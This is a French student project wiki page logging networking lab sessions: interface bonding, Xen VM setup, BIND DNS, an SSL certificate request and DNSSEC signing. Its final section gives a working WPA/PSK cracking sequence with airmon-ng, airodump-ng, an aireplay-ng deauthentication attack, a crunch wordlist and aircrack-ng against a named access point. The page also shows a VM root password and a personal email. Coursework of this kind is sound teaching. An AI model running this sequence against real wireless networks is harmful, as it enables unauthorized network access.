Cahier 2016 groupe n°1 : Différence entre versions

De Wiki de Projets IMA
m (Crack clé WPA/PSK)
(Crack clé WPA/PSK)
Ligne 258 : Ligne 258 :
 
Qui nous a donné le résultat suivant
 
Qui nous a donné le résultat suivant
  
  [[Fichier:Aircrack_screen.png|200px|thumb|left|texte descriptif]]
+
  [[Fichier:Aircrack_screen.png|500px|thumb|center]]

Version du 28 novembre 2016 à 16:33

Séance 1

Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :

alias bond0 bonding
options bonding mode=1 miimon=100 downdelay=200 updelay=200

Nous avons aussi configuré le fichier /etc/network/interfaces en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.

#Bonding IMA5sc
#auto eth100
#iface eth0 inet manual
#	bond-master bond0
#	bond-primary eth100 eth101
#	bond-mode 5

#auto eth101
#iface eth1 inet manual	
#	bond-master bond0
#	bond-primary eth100 eth101
#	bond-mode 5

#auto bond0
#iface bond0 inet dhcp
#	pre-up modprobe bonding
#	pre-up ifconfig bond0 up
#	pre-up /sbin/ifenslave  bond0 eth100 eth101
#	down sbin/ifenslave -d bond0 eth100 eth101
#	bonds-slaves none
#
#auto br0
#iface br0 inet dhcp
#	bridge-ports bond0

Séance 2

Installation de la machine virtuelle sur le serveur cordouan:

root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171  --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop
WARNING
-------

 You appear to have a missing vif-script, or network-script, in the
 Xen configuration file /etc/xen/xend-config.sxp.

 Please fix this and restart Xend, or your guests will not be able
to use any networking!


General Information
--------------------
Hostname       :  Frotteman
Distribution   :  jessie
Mirror         :  http://debian.polytech-lille.fr/debian/
Partitions     :  swap            128M  (swap)
                  /               4G    (ext3)
Image type     :  sparse
Memory size    :  128M
Kernel path    :  /boot/vmlinuz-3.14-2-amd64
Initrd path    :  /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1   : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]
Netmask        : 255.255.255.240
Gateway        : 193.48.57.171


Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
Done

Creating swap on /usr/local/xen/domains/Frotteman/swap.img
Done

Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img
Done
Installation method: debootstrap
Done

Running hooks
Done

No role scripts were specified.  Skipping 

Creating Xen configuration file
Done 

No role scripts were specified.  Skipping
Setting up root password
Generating a password for the new guest.
All done


Logfile produced at:
	 /var/log/xen-tools/Frotteman.log

Installation Summary
---------------------
Hostname        :  Frotteman
Distribution    :  jessie
MAC Address     :  00:16:3E:F4:F8:CE
IP Address(es)  :  193.48.57.161 
RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
Root Password   :  fsBsiSE4


Séance3

Création des partitions logiques pour la machine virtuelle.

lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v

Ajouts des partitions à la configuration de la machine virtuelle.

'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',
'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',

Séance4

Commande pour démarrer la VM lorsqu'elle est totalement éteinte :

xl create -c /etc/xen/Frotteman.cfg

Nom de domaine réservé sur gandi.net

faispastomberlasavo.net

Séance5

Installation de bind9 sur la VM xen.

Modification du fichier /etc/bind/named.conf.local

zone "faispastomberlasavo.net" {
          type master;
          file "/etc/bind/db.faispastomberlasavo.net";
          allow-transfer { 217.70.177.40; };
     };

Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net

TTL    604800
@       IN      SOA     ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (
                       2              ; Serial
                       604800         ; Refresh
                        86400         ; Retry
                      2419200         ; Expire
                       604800 )       ; Negative Cache TTL
;
        IN      NS      ns6.gandi.net.
@       IN      NS      ns.faispastomberlasavo.net.
ns      IN      A       193.48.57.161
www     IN      A       193.48.57.161
@       IN      A       193.48.57.161


Redémarrer bind

/etc/init.d/bind9 restart

Changez la configuration des serveurs du domaine Gandi

DNS1: ns.faispastomberlasavo.net
DNS2: ns6.gandi.net

Commande:

nslookup www.faispastomberlasavo.net

Résultat:

Server:		193.48.57.161
Address:	193.48.57.161#53 

Name:	www.faispastomberlasavo.net
Address: 193.48.57.161

Séance6

commande pour générer certificat SSL

openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net
Email Address []:cedricduval94@gmail.com

On ajoute le contenu du fichier serveur.csr dans gandi


DNSSEC

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE  faispastomberlasavo.net 
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE  faispastomberlasavo.net 
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key
/etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o  faispastomberlasavo.net -k  faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.faispastomberlasavo.net.signed


root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY faispastomberlasavo.net @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10598
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;faispastomberlasavo.net.	IN	DNSKEY   

;; ANSWER SECTION:
faispastomberlasavo.net. 604800	IN	DNSKEY	257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=
faispastomberlasavo.net. 604800	IN	DNSKEY	256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 28 17:05:19 CET 2016
;; MSG SIZE  rcvd: 476

Crack clé WPA/PSK

Tout d'abord il faut passer l'interface réseau en mode "Monitor".

airmon-ng start wlan1

Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng

airodump-ng --encrypt wpa mon0

Nous voulions trouvé la clé de "cracotte01", nous avons donc filtré pour le bssid "04:DA:D2:9C:50:50"

airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50

Nous avons créer notre dictionnaire de la façon suivante

crunch 8 8 0123456789 -o dico.txt

Que nous avons tester sur une Zabeth par soucis de rapidité

aircrack-ng -w dico.txt out-01.cap

Qui nous a donné le résultat suivant

Aircrack screen.png